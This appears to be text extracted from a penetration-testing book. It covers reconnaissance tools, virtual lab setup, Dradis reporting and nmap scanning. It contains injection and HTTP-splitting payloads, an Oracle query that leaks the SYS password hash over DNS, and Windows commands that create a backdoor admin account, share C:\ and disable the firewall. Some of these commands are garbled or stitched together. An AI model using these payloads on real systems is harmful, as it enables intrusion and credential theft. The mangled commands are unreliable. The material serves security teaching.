Chapter 1: Penetration Testing Essentials

Penetration Testing Framework 0.59

- Pre-inspection Visit - template

Network Footprinting (Reconnaissance): The tester would attempt to gather as much information as possible about the selected network. Reconnaissance can take two forms: active and passive. A passive attack is always the best starting point as this would normally detect intrusion detection systems and other forms of protection added to the network. This would usually involve trying to discover publicly available information by utilising a web browser and visiting newsgroups, etc. An active form would be more intrusive and may show up in audit logs and may take the form of an attempted DNS zone transfer or a social engineering type of attack.

- Whois is widely used for querying authoritative registries/databases to discover the owner of a domain name, an IP address, or an autonomous system number of the system you are targeting.

Authoritative Bodies
- IANA - Internet Assigned Numbers Authority
- ICANN - Internet Corporation for Assigned Names and Numbers
- NRO - Number Resource Organisation
- RIR - Regional Internet Registry
- APNIC - Asia Pacific Network Information Centre
- AfriNIC - African Network Information Centre

Free online network tools

Tools

Domain Dossier
- Investigate domains and IP addresses. Get registrant information, DNS records, and more—all in one report.

Email Dossier
- Validate and troubleshoot email addresses.

Browser Mirror
- See what your browser reveals about you.

Ping
- See if a host is reachable.

Traceroute
- Trace the network path from this server to another.

NsLookup
- Look up various domain resource records with this version of the classic NsLookup utility.

AutoWhois
- Get Whois records automatically for domains worldwide.
Validation results

confidence rating: 3 - SMTP
The email address passed this level of validation without an error. However, it is not guaranteed to be a good address. more info

canonical address: <kevin@[redacted].com>

MX records

<table>
<thead>
<tr>
<th>preference</th>
<th>exchange</th>
<th>IP address (if included)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>[redacted].com</td>
<td></td>
</tr>
</tbody>
</table>

SMTP session

[Resolving [redacted].com...]
[Contacting [redacted].com [redacted]...]
[Connected]
Input Validation Checks

- **NULL or null**
  - Possible error messages returned.
- **', ... <
  - Breaks an SQL string or query, used for SQL, XPath and XML injection tests.
- **=, +=
  - Used to craft SQL Injection queries.
- **', &., `., <, >
  - Used to find command execution vulnerabilities.
- `<script>alert(1)</script>
  - Basic Cross-Site Scripting Checks.
- **%0d%0a
  - Carriage Return (%0d) Line Feed (%0a)
    - **HTTP Splitting**
      - language=7fobar%0d%0aContent-Length%20%0d%0a%0d%0aHTTP:1.1%20OK%0d%0aContent-Type%0atext/htmlContent-Length%2047%0at<html>Insert undesirable content here</html>
      - i.e. Content-Length=0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah</html>
    - **Cache Poisoning**
      - language=7fobar%0d%0aContent-Length%20%0d%0a%0d%0aHTTP:1.1%20304%20Not%20Modified%0d%0aContent-Type%0atext/htmlContent-Length%200Last-Modified%20Mon%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length%2047%0at%0d%0a%0d%0aInsert undesirable content here</html>
- **%7f, %ff**
  - byte-length overflows; maximum 7- and 8-bit values.
- **-1, other**
  - **Integer and underflow vulnerabilities.**

joomscan

**JOOMSCAN PACKAGE DESCRIPTION**

Joomla! is probably the most widely-used CMS out there due to its flexibility, user-friendliness, extensibility to name a few. So, watching its vulnerabilities and adding such vulnerabilities as KB to Joomla scanner takes ongoing activity. It will help web developers and web masters to help identify possible security weaknesses on their deployed Joomla sites.

The following features are currently available:

- Exact version Probing (the scanner can tell whether a target is running version 1.5.12)
- Common Joomla! based web application firewall detection
- Searching known vulnerabilities of Joomla! and its components
- Reporting to Text & HTML output
- Immediate update capability via scanner or svn
Oracle Port 1521 Open

Oracle Enumeration
- oracsec
- RePlscan
- SQLguess
- Scuba

DNS/HTTP Enumeration
- SQL: SELECT UTL_INADDR.GET_HOST_ADDRESS(SELECT PASSWORD FROM DBA_USERS WHERE US ERNAME='SYS') FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS') FROM dual;
- WinStd
- Oracle default password list

TNSVar
- tnsver host [port]

TCP Scan

Oracle TNSLSNR
- Will respond to [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show] [spawn] [stop]

TNSCmd
- perl tnscmd.pl -h ip_address
- perl tnscmd.pl version -h ip_address
- perl tnscmd.pl status -h ip_address
- perl tnscmd.pl -h ip_address -cmdsize (40 - 200)

LSNRCmd
- Oracle Security Check (needs credentials)
MySQL port 3306 open

- **Enumeration**
  - nmap -A -n -p3306 <IP Address>
  - nmap -A -n -PN --script:ALL -p3306 <IP Address>
  - telnet IP_Address 3306
  - use test; select * from test;
  - To check for other DB's -- show databases

- **Administration**
  - MySQL Network Scanner
  - MySQL GUI Tools
  - mysqlshow
  - mysqlbinlog

- **Manual Checks**
  - Default usernames and passwords
    - username: root password:
        - testing
          - mysql -h <Hostname> -u root
          - mysql -h <Hostname> -u root
          - mysql -h <Hostname> -u root@localhost
          - mysql -h <Hostname>
          - mysql -h <Hostname> -u ""@localhost

- **Configuration Files**
  - **Operating System**
    - windows
      - config.ini
    - my.ini
      - windows\my.ini
      - winnt\my.ini
      - <InstDir>/mysql/data/
    - unix
      - my.cnf
SIP Port 5060 open

- **SIP Enumeration**
  - `netcat`
  - `nc IP_Address Port`
  - `sipflanker`
  - `python sipflanker.py 192.168.1-254`
  - `Sipscan`

- **smap**
  - `smap IP_Address/Subnet_Mask`
  - `smap -o IP_Address/Subnet_Mask`
  - `smap -t IP_Address`

- **SIP Packet Crafting etc.**
  - `sipsak`
    - Tracing paths: `-sipsak -T -s sip:username@domain`
    - Options request: `-sipsak -vv -s sip:username@domain`
    - Query registered bindings: `-sipsak -l -C empty -a password -s sip:username@domain`
  - `siproogue`

- **SIP Vulnerability Scanning/Brute Force**
  - `tftp bruteforcer`
    - Default dictionary file
    - `./tftpbrute.pl IP_Address Dictionary_file Maximum_Processes`
  - `YolPaudit`
  - `SIVuS`

- **Examine Configuration Files**
  - `SIPDefault.cnf`
  - `asterisk.conf`
  - `sip.conf`
  - `phone.conf`
  - `sip_notify.conf`
  - `<Ethernet address>.cfq`

This section is designed to be the PTES technical guidelines that help define certain procedures to follow during a penetration test. Something to be aware of is that these are only baseline methods that have been used in the industry. They will need to be continuously updated and changed upon by the community as well as within your own standard. Guidelines are just that, something to drive you in a direction and help during certain scenarios, but not an all-encompassing set of instructions on how to perform a penetration test. Think outside of the box.
### PowerShell Scripts I find useful

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>Discover-PSInterestingServices</td>
<td>Update Discover-PSInterestingServices</td>
<td>8 months ago</td>
</tr>
<tr>
<td>Discover-PSExchangeServers</td>
<td>Create Discover-PSExchangeServers</td>
<td>8 months ago</td>
</tr>
<tr>
<td>Discover-PSMSQLServers</td>
<td>Update Discover-PSMSQLServers</td>
<td>2 months ago</td>
</tr>
<tr>
<td>Find-PSServiceAccounts</td>
<td>Update Find-PSServiceAccounts</td>
<td>4 months ago</td>
</tr>
<tr>
<td>Get-DomainKerberosPolicy</td>
<td>Create Get-DomainKerberosPolicy</td>
<td>2 months ago</td>
</tr>
<tr>
<td>Get-PSADForestInfo</td>
<td>Create Get-PSADForestInfo</td>
<td>9 months ago</td>
</tr>
</tbody>
</table>

### 1.2 Radio Frequency Tools
- 1.2.1 Frequency Counter
- 1.2.2 Frequency Scanner
- 1.2.3 Spectrum Analyzer
- 1.2.4 802.11 USB adapter
- 1.2.5 External Antennas
- 1.2.6 USB GPS
Global Internet Backbone

IPv6+IPv4 Transit For Your Network
New Special 10 Gbps $4000/month

BGP Looking Glasses for IPv4/IPv6, Traceroute & BGP Route Servers

Related Reading
- Global Internet Exchange Points

Related Software Tools
- BGP Software Tools & Scripts

BGP Looking Glass servers are computers on the Internet running one of a variety of publicly available Looking Glass software implementations. A Looking Glass server (or LG server) is accessed remotely for the purpose of viewing routing info. Essentially, the server acts as a limited, read-only portal to routers of whatever organization is running the Looking Glass server. Typically, publicly accessible looking glass servers are run by ISPs or NOCs.

This page presents an overview of BGP Looking Glasses all over the world. If you’d like to install a BGP Looking Glass in your ISP environment, you will find several Looking Glass implementations in our BGP Software section.

The Internet Assigned Numbers Authority, IANA, is responsible for global coordination and allocation of the Internet Protocol (IP) addressing systems (IPv4 & IPv6), as well as the Autonomous System Numbers (ASN) (16-bit & 32-bit ASNs) used for routing Internet traffic. There are currently 5 Regional Internet Registries (RIR) in the world. Source: IANA.org.

SSL VPNs
VPN Hunter discovers and classifies SSL VPNs from top vendors including Juniper, Cisco, Palo Alto, Citrix, Fortinet, F5, SonicWALL, Barracuda, Microsoft, and Array. VPN Hunter will also attempt to detect whether two-factor authentication is enabled on the target SSL VPNs.

Hunting for SSL VPNs...

Protect your VPN with two-factor authentication from Duo Security Try it for free today »

Remote Access
VPN Hunter seeks out a variety of remote access services that are accessed via protocols like IPsec, PPTP, OpenVPN, RDP, and SSH.

Hunting for remote access endpoints...

Protect your remote access endpoints with Duo Security Free 30-day trial »
Invasive or Altering Commands

These commands change things on the target and can lead to getting detected.

<table>
<thead>
<tr>
<th>Command</th>
<th>Reason / Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>net user hacker/hacker add</td>
<td>Creates a new local (to the victim) user called 'hacker' with the password of 'hacker'</td>
</tr>
<tr>
<td>net localgroup administrators add hacker</td>
<td>Adds the new user 'hacker' to the local administrators group</td>
</tr>
<tr>
<td>net share nothing: C:\ /grant hacking FULL /limited</td>
<td>Shares the C drive (you can specify any drive) out as a Windows share and grants the user 'hacker' full rights to access, or modify anything on that drive.</td>
</tr>
<tr>
<td>net user username /active:yes /read</td>
<td>One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, user permissions and file permissions are separated. Since we added our selves as a local admin this isn't a problem but it is something to keep in mind.</td>
</tr>
<tr>
<td>net user username /active:yes /read</td>
<td>Changes an inactive / disabled account to active. This can be useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.</td>
</tr>
<tr>
<td>net stop halt firewall set opmode disable</td>
<td>Disables the local windows firewall</td>
</tr>
<tr>
<td>net stop halt firewall set opmode enable</td>
<td>Enables the local windows firewall. If rules are not in place for your connection, this could cause you to lose it.</td>
</tr>
</tbody>
</table>

Support Tools Binaries / Links / Usage

**REMEMBER: DO NOT RUN BINARIES YOU HAVEN'T VETTED**

---

Social-Engineer Toolkit

The Social-Engineer Toolkit (SET)

The Social-Engineer Toolkit (SET) was created and written by the founder of TrustedSec. It is an open-source Python-driven tool aimed at penetration testing around Social-Engineering. SET has been presented at large-scale conferences including Blackhat, DerbyCon, Defcon, and ShmooCon. With over two million downloads, SET is the standard for social-engineering penetration tests and supported heavily within the security community.

The Social-Engineer Toolkit has over 2 million downloads and is aimed at leveraging advanced technological attacks in a social-engineering type environment. TrustedSec believes that social-engineering is one of the hardest attacks to protect against and now one of the most prevalent. The toolkit has been featured in a number of books including the number one best seller in security books for 12 months since its release, "Metasploit: The Penetrations Tester’s Guide" written by TrustedSec’s founder as well as Devon Kearns, Jim O’Gorman, and Mati Aharoni.

To download SET, type the following command in Linux:

git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
Chapter 2: Preparing a Test Environment
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>External Connection</th>
<th>Host Connection</th>
<th>DHCP</th>
<th>Subnet Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>VMnet0</td>
<td>Bridged</td>
<td>Auto-bridging</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>VMnet1</td>
<td>Host-only</td>
<td>-</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.198.0</td>
</tr>
<tr>
<td>VMnet8</td>
<td>NAT</td>
<td>NAT</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.219.0</td>
</tr>
</tbody>
</table>

**VMnet Information**
- Bridged (connect VMs directly to the external network)
  - Bridged to: Automatic

**Automatic Bridging Settings**
- Select the host network adapter(s) you want to automatically bridge:
  - Microsoft Virtual WiFi Miniport Adapter
  - Intel(R) Dual Band Wireless-AC 7260
  - Intel(R) Ethernet Connection E217-LM
  - Microsoft Virtual WiFi Miniport Adapter #2
  - Bluetooth Device (Personal Area Network) #2

[Add Network]  [Remove Network]  [NAT Settings]  [Automatic Settings]  [DHCP Settings]
Ethernet adapter VMware Network Adapter VMnet1:

- Connection-specific DNS Suffix : 
- Link-local IPv6 Address : fe80::f956:642b:85fb:37fb%22
- IPv4 Address : 192.168.198.1
- Subnet Mask : 255.255.255.0
```
Ethernet adapter VMWare Network Adapter VMnet8:

Connection-specific DNS Suffix .  .  .  :
Link-local IPv6 Address . . . . . . : fe80::f1be:fec3:9bb6:cd24%23
IPv4 Address . . . . . . . . . . . . . . : 192.168.219.1
```
Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating system. How will you install the guest operating system?

Install from:

- Installer disc:
  - No drives available

- Installer disc image file (iso):
  - D:\other\kali-linux-2.0-amd64.iso

**Warning:**
Could not detect which operating system is in this disc image.
You will need to specify which operating system will be installed.

- I will install the operating system later.
  - The virtual machine will be created with a blank hard disk.
Virtual machine name:
Kali Linux Attacker

Location:
C:\Users\JNST\Documents\Virtual Machines\Kali Linux Attacker

The default location can be changed at Edit > Preferences.

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host computer's physical disk. These file(s) start small and become larger as you add applications, files, and data to your virtual machine.

Maximum disk size: 80.0
Recommended size for Debian 7.x 64-bit: 20 GB

- Store virtual disk as a single file
- Split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another computer but may reduce performance with very large disks.
Set up users and passwords

You need to set a password for 'root', the system administrative account. A malicious or unqualified user with root access can have disastrous results, so you should take care to choose a root password that is not easy to guess. It should not be a word found in dictionaries, or a word that could be easily associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be disabled and the system's initial user account will be given the power to become root using the "sudo" command.

Note that you will not be able to see the password as you type it. Root password:

Please enter the same root password again to verify that you have typed it correctly. Re-enter password to verify:
Finish the installation

Installation is complete, so it is time to boot into your new system. Make sure to remove the installation media (CD-ROM, floppies), so that you boot into the new system rather than restarting the installation.
Searching for a valid kernel header path...
The path "" is not a valid path to the 3.18.6-kali3-amd64 kernel headers. Would you like to change it? [yes] no
Virtual Network Editor

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>External Connection</th>
<th>Host Connection</th>
<th>DHCP</th>
<th>Subnet Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>VMnet1</td>
<td>Host-only</td>
<td>-</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.50.0</td>
</tr>
<tr>
<td>VMnet2</td>
<td>Host-only</td>
<td>-</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.25.0</td>
</tr>
<tr>
<td>VMnet3</td>
<td>Host-only</td>
<td>-</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.101.0</td>
</tr>
<tr>
<td>VMnet4</td>
<td>Host-only</td>
<td>-</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.10.0</td>
</tr>
<tr>
<td>VMnet5</td>
<td>Host-only</td>
<td>-</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.20.0</td>
</tr>
<tr>
<td>VMnet6</td>
<td>Host-only</td>
<td>-</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.40.0</td>
</tr>
<tr>
<td>VMnet7</td>
<td>Host-only</td>
<td>NAT</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.75.0</td>
</tr>
<tr>
<td>VMnet8</td>
<td>NAT</td>
<td>NAT</td>
<td>Connected</td>
<td>Enabled</td>
<td>192.168.10.0</td>
</tr>
</tbody>
</table>

New Virtual Machine Wizard

Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating system. How will you install the guest operating system?

Install from:

- Installer disc:
  - No drives available

- Installer disc image file (iso):
  - C:\Users\inst\Downloads\ubuntu-14.04.2-desktop-amd64.iso

- I will install the operating system later.

The virtual machine will be created with a blank hard disk.
root@Phobos:# apt-get install lamp-server
Opening KVM3.rar

You have chosen to open:
- KVM3.rar
  which is: rar file (441 MB)
  from: http://www.kioptrix.com

What should Firefox do with this file?
- Open with [ ] Browse...
- DownThemAll [ ]
- dIA OneClick! [ ]
- Save File [ ]
- Do this automatically for files like this from now on.

OK [ ] Cancel [ ]

Virtual Machine Settings

<table>
<thead>
<tr>
<th>Device</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>Memory</td>
<td>512 MB</td>
</tr>
<tr>
<td>Processors</td>
<td>1</td>
</tr>
<tr>
<td>Hard Disk (IDE)</td>
<td>20 GB</td>
</tr>
<tr>
<td>CD/DVD (IDE)</td>
<td>Auto detect</td>
</tr>
<tr>
<td>Floppy</td>
<td>Using drive A:</td>
</tr>
<tr>
<td>Network Adapter</td>
<td>NAT</td>
</tr>
</tbody>
</table>

Memory
Specify the amount of memory allocated to this virtual machine. The memory size must be a multiple of 4 MB.

Memory for this virtual machine: 512 MB
3.5 GB 2 GB

Which Image Do I Need?

Computer Architecture: AMD64 (64-bit) [ ]

NOTE: If your system has a 64 bit capable Intel or AMD CPU, use the 64 bit version. 32 bit should only be used with 32 bit CPUs.

Platform: Live CD with Installer [ ]

Or just show me the mirrors so I can choose which file to download on my own.
Guest Operating System Installation
A virtual machine is like a physical computer; it needs an operating system. How will you install the guest operating system?

Install from:
- Installer disc:
  - No drives available
- Installer disc image file (.iso):
  - C:\Users\[USER]\Downloads\SUSE-LiveCD-2.2.2-REL
  - Could not detect which operating system is in this disc image. You will need to specify which operating system will be installed.
- I will install the operating system later.
  - The virtual machine will be created with a blank hard disk.

Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system
- Microsoft Windows
- Linux
- Novell NetWare
- Solaris
- VMware ESX
- Other

Version
- FreeBSD 64-bit
PFSense VLAN1

- Power on this virtual machine
- Edit virtual machine settings

**Devices**
- Memory: 256 MB
- Processors: 1
- Hard Disk (SCSI): 20 GB
- CD/DVD (IDE): Using file C:\Users\...
- Network Adapter: NAT
- Network Adapte... Custom (VMnet9)
- USB Controller: Present
- Sound Card: Auto detect
- Display: Auto detect

VMnet Information
- Bridged (connect VMs directly to the external network)
  Bridged to: Automatic
- NAT (shared host's IP address with VMs)
- Host-only (connect VMs internally in a private network)
- Connect a host virtual adapter to this network
- Use local DHCP service to distribute IP address to VMs

Subnet IP: 192.168.175.0  Subnet mask: 255.255.255.0
Chapter 3: Assessment Planning

root@kali:~# uname -a
Linux kali 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-kali2 (2015-06-03) x86_64 GNU/Linux

root@kali:~# cat /etc/issue
Kali GNU/Linux 2.0 \n \n
Project Name: Security Assessment Report

**Host: 127.0.0.1**

Open Ports and Services:

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Service</th>
<th>Software</th>
</tr>
</thead>
<tbody>
<tr>
<td>5432 tcp</td>
<td>open</td>
<td>postgresql</td>
<td>PostgreSQL DB</td>
</tr>
</tbody>
</table>

Summary of Findings:

<table>
<thead>
<tr>
<th>Finding</th>
<th>CVE IDs</th>
<th>Affected</th>
<th>Severity</th>
<th>Source</th>
</tr>
</thead>
</table>
What is Dradis?

Dradis is an open source framework to enable effective information sharing. Dradis is a self contained web application that provides a centralised repository of information to keep track of what has been done so far, and what is still ahead. [Screeshots](http://dradisframework.org).

Features include:
- Easy report generation in HTML or Word format.
- Support for attachments.
- Integration with existing systems and tools through [server plugins](http://dradisframework.org).
- Platform independent.

Server password

This server does not have a password yet, please set up one:

Password

Confirm Password

Meta-Server

You can create a new project or checkout one from the Meta-Server:

New project

Checkout project

Initialize

Effective information sharing: [http://dradisframework.org](http://dradisframework.org)
Dradis Framework v2.9.0 - Iceweasel

File Edit View History Bookmarks Tools Help
about:sessionrestore × Dradis Framework × New Tab × Dradis Framework ×

https://127.0.0.1:3004

Most Visited:
Offensive Security Kali Linux Kali Docs Kali Tools Exploit-DB

[Tree view of Dradis Framework v2.9.0]

127.0.0.1:
Hostnames: [localhost]
Port info:
Port #3004/tcp is open (syn-ack)
Service: http
Product: WEBrick
Version: 1.3.1
Port #6432/tcp is open (syn-ack)
Service: postgresql
Product: PostgreSQL DB
Port #3004/tcp is open (syn-ack)
Service: http
Product: WEBbrick
Version: 1.3.1
YOU CAN CHANGE THIS TEMPLATE TO SUIT YOUR NEEDS.

Dradis Framework - v2.9.0
This document reports on the results of an automatic security scan. The report first summarizes the results found. Then, for each host, the report describes every issue found. Please consider the advice given in each description, in order to rectify the issue.
Summary

This document reports on the results of an automated security scan. The report first summarizes the results found. Then, for each host, the report describes every issue found. Please consider the advice given in each description in order to rectify the issue.

Vendor security updates are not trusted.

Overrides are on. When a result has an override, this report uses the threat of the override.

Notes are included in the report.

This report might not show details of all issues that were found; it only lists hosts that produced issues. Issues with the threat level "Debug" are not shown.

This report contains 52 results selected by the filtering described above. Before filtering, there were 53 results.

Scan started: Wed Mar 25 07:02:52 2015
Scan ended: Wed Mar 25 07:06:04 2015

Host Summary

<table>
<thead>
<tr>
<th>Host</th>
<th>Start</th>
<th>End</th>
<th>High/Medium/Low/Ltd/Rare/False Positive</th>
</tr>
</thead>
</table>
Chapter 4: Intelligence Gathering
Information Gathering

- Find everything you can about a corporation and its employees. Some of the things you should be looking for include documents originating from the corporation, key employees, job titles, phone numbers, images, web sites, IP information and anything else you come across that has the potential to be used for social engineering attacks and physical or logical breaches.

Correlation, Verification, and Prioritization

- Weed out obvious false or misleading data, sift through anything that is unnecessary and finally to prioritize and categorize your findings.

Putting the information to use

- Use the information you have gathered to develop one or more attack plans.
The search engine for Buildings
Shodan is the world's first search engine for Internet-connected devices

- Create a Free Account
- Getting Started

Explore the Internet of Things
Use Shodan to discover which of your devices are connected to the Internet, where they are located and who is using them.

Monitor Network Security
Keep track of all the computers on your network that are directly accessible from the Internet. Shodan lets you understand your digital footprint.
Chapter 5: Network Service Attacks

root@kali:~

root@kali:~# ping 192.168.50.20 -c 3
PING 192.168.50.20 (192.168.50.20) 50(84) bytes of data.
64 bytes from 192.168.50.20: icmp_seq=1 ttl=64 time=0.05 ms
64 bytes from 192.168.50.20: icmp_seq=2 ttl=64 time=0.05 ms
64 bytes from 192.168.50.20: icmp_seq=3 ttl=64 time=0.05 ms

--- 192.168.50.20 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.608/0.772/1.051/0.199 ms

root@kali:~

root@kali:~/Downloads# dpkg -i ipscan_3.3.3_amd64.deb
Selecting previously unselcted package ipscan.
(Reading database ... 356307 files and directories currently installed.)
Unpacking ipscan (from ipscan_3.3.3_amd64.deb) ...
Setting up ipscan (3.3.3-1) ...
Processing triggers for desktop-file-utils ... 
Processing triggers for gnome-menus ...

IP Range - Angry IP Scanner

Scan Go to Commands Favorites Tools Help

IP Range: 192.168.177.0 to 192.168.177.255

IP | Ping | Hostname | Ports [0+] |
---|------|----------|------------|
192.168.177.1 | 0 ms | Vulcans-Three.local | [n/a] |
192.168.177.2 | 0 ms | [n/a] | [n/a] |
192.168.177.3 | [n/a] | [n/a] | [n/a] |
192.168.177.4 | [n/a] | [n/a] | [n/a] |
192.168.177.5 | [n/a] | [n/a] | [n/a] |
192.168.177.6 | [n/a] | [n/a] | [n/a] |

Ready

Display: All Threads: 0
### Last 50 firewall log entries. Max(50)

<table>
<thead>
<tr>
<th>Act</th>
<th>Time</th>
<th>If</th>
<th>Source</th>
<th>Destination</th>
<th>Proto</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
<tr>
<td></td>
<td>Oct 29 23:03:39</td>
<td>WAN</td>
<td><img src="" alt="IP1" /></td>
<td><img src="" alt="IP2" /></td>
<td>TCP:S</td>
</tr>
</tbody>
</table>

### root@kali: /usr/share/nmap/scripts

```
File Edit View Search Terminal Help
```
```
total 3.7M
-rw-r-xr-x 4 root root 4.0K Aug 24 2014 ..
-rw-r--r-- 1 root root 4.0K Aug 23 2014 acarsd-info.nse
-rw-r--r-- 1 root root 8.7K Aug 23 2014 address-info.nse
-rw-r--r-- 1 root root 3.3K Aug 23 2014 afp-brute.nse
-rw-r--r-- 1 root root 5.9K Aug 23 2014 afp-list.nse
-rw-r--r-- 1 root root 7.0K Aug 23 2014 afp-path-vuln.nse
-rw-r--r-- 1 root root 5.4K Aug 23 2014 afp-serverinfo.nse
-rw-r--r-- 1 root root 2.7K Aug 23 2014 afp-showmount.nse
-rw-r--r-- 1 root root 2.3K Aug 23 2014 ajp-auth.nse
-rw-r--r-- 1 root root 2.9K Aug 23 2014 ajp-brute.nse
-rw-r--r-- 1 root root 1.4K Aug 23 2014 ajp-headers.nse
-rw-r--r-- 1 root root 2.6K Aug 23 2014 ajp-methods.nse
-rw-r--r-- 1 root root 3.0K Aug 23 2014 ajp-requests.nse
-rw-r--r-- 1 root root 7.4K Aug 23 2014 allscoping/freeinfo.nse
-rw-r--r-- 1 root root 1.8K Aug 23 2014 amqp-info.nse
-rw-r--r-- 1 root root 15K Aug 23 2014 asn-query.nse
-rw-r--r-- 1 root root 2.0K Aug 23 2014 auth-owners.nse
-rw-r--r-- 1 root root 869 Aug 23 2014 auth-spoof.nse
-rw-r--r-- 1 root root 9.3K Aug 23 2014 backtrack-brute.nse
-rw-r--r-- 1 root root 9.9K Aug 23 2014 backtrack-info.nse
-rw-r--r-- 1 root root 5.8K Aug 23 2014 banner.nse
-rw-r--r-- 1 root root 1.9K Aug 23 2014 bitcoin-getaddr.nse
```
Nmap scan report for 192.168.177.139
Host is up (0.000043s latency).
All 1008 scanned ports on 192.168.177.139 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops

NSE: Script Post-scanning.
Read data files from: /usr/bin/.../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 256 IP addresses (5 hosts up) scanned in 141.73 seconds
Raw packets sent: 6754 (299.436KB) | Rcvd: 5088 (211.184KB)
Nmap scan report for 192.168.177.145
Host is up (0.00027s latency).
Scanned at 2015-08-01 19:13:37 EDT for 15s
Not shown: 991 closed ports
PORT   STATE     SERVICE               VERSION
21/tcp open  tcpwrapped
23/tcp open  tcpwrapped
25/tcp open  tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open  http?
110/tcp open  tcpwrapped
135/tcp open  msrpc           Microsoft Windows RPC
139/tcp open  netbios-ssn
143/tcp open  tcpwrapped
|_imap-capabilities:
|_ ERROR: Failed to connect to server

A INPUT  -p tcp --dport 1111 -m recent --set --source --name KNOCK1 -m limit --limit 5/min -j LOG --log-prefix "ssh port knocking 1" --log-level 7
A INPUT  -p tcp --dport 2222 -m recent --rcheck --source --seconds 5 --name KNOCK1 -m recent --set --source --name KNOCK2 -m limit --limit 5/min -j LOG --log-prefix "ssh port knocking 2" --log-level 6
A INPUT  -p tcp --dport 3333 -m recent --rcheck --source --seconds 5 --name KNOCK2 -m recent --set --source --name KNOCK3 -m limit --limit 5/min -j LOG --log-prefix "ssh port knocking 3" --log-level 6
A INPUT  -p tcp --dport 4444 -m recent --rcheck --source --seconds 5 --name KNOCK3 -m recent --set --source --name OPEN_SESAME -m limit --limit 5/min -j LOG --log-prefix "ssh port knocking 4" --log-level 6
A INPUT  -p tcp --dport 22 -m state --state NEW -m recent --rcheck --source --seconds 15 --name OPEN_SESAME -j ACCEPT
# Chapter 6: Exploitation

![Kali (Debian) Penetration Tester DHCP](image)

<table>
<thead>
<tr>
<th>Samba</th>
<th>Author</th>
<th>Any Platform</th>
<th>Any Type</th>
<th>139</th>
</tr>
</thead>
<tbody>
<tr>
<td>OSVDB</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

## Open Source Vulnerability Database (OSVDB)

<table>
<thead>
<tr>
<th>Date</th>
<th>Platform</th>
<th>Author</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-04-13</td>
<td>Linux</td>
<td>sleepy</td>
</tr>
<tr>
<td>2014-10-20</td>
<td>Win32</td>
<td>metasploit</td>
</tr>
<tr>
<td>2014-07-24</td>
<td>Hardware</td>
<td>pws</td>
</tr>
<tr>
<td>2014-02-12</td>
<td>Hardware</td>
<td>Andrew Horton</td>
</tr>
</tbody>
</table>
Remote root exploit for Samba 2.2.x and prior that works against Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and OpenBSD (2.x, 3.x and 3.2 non-executable stack).

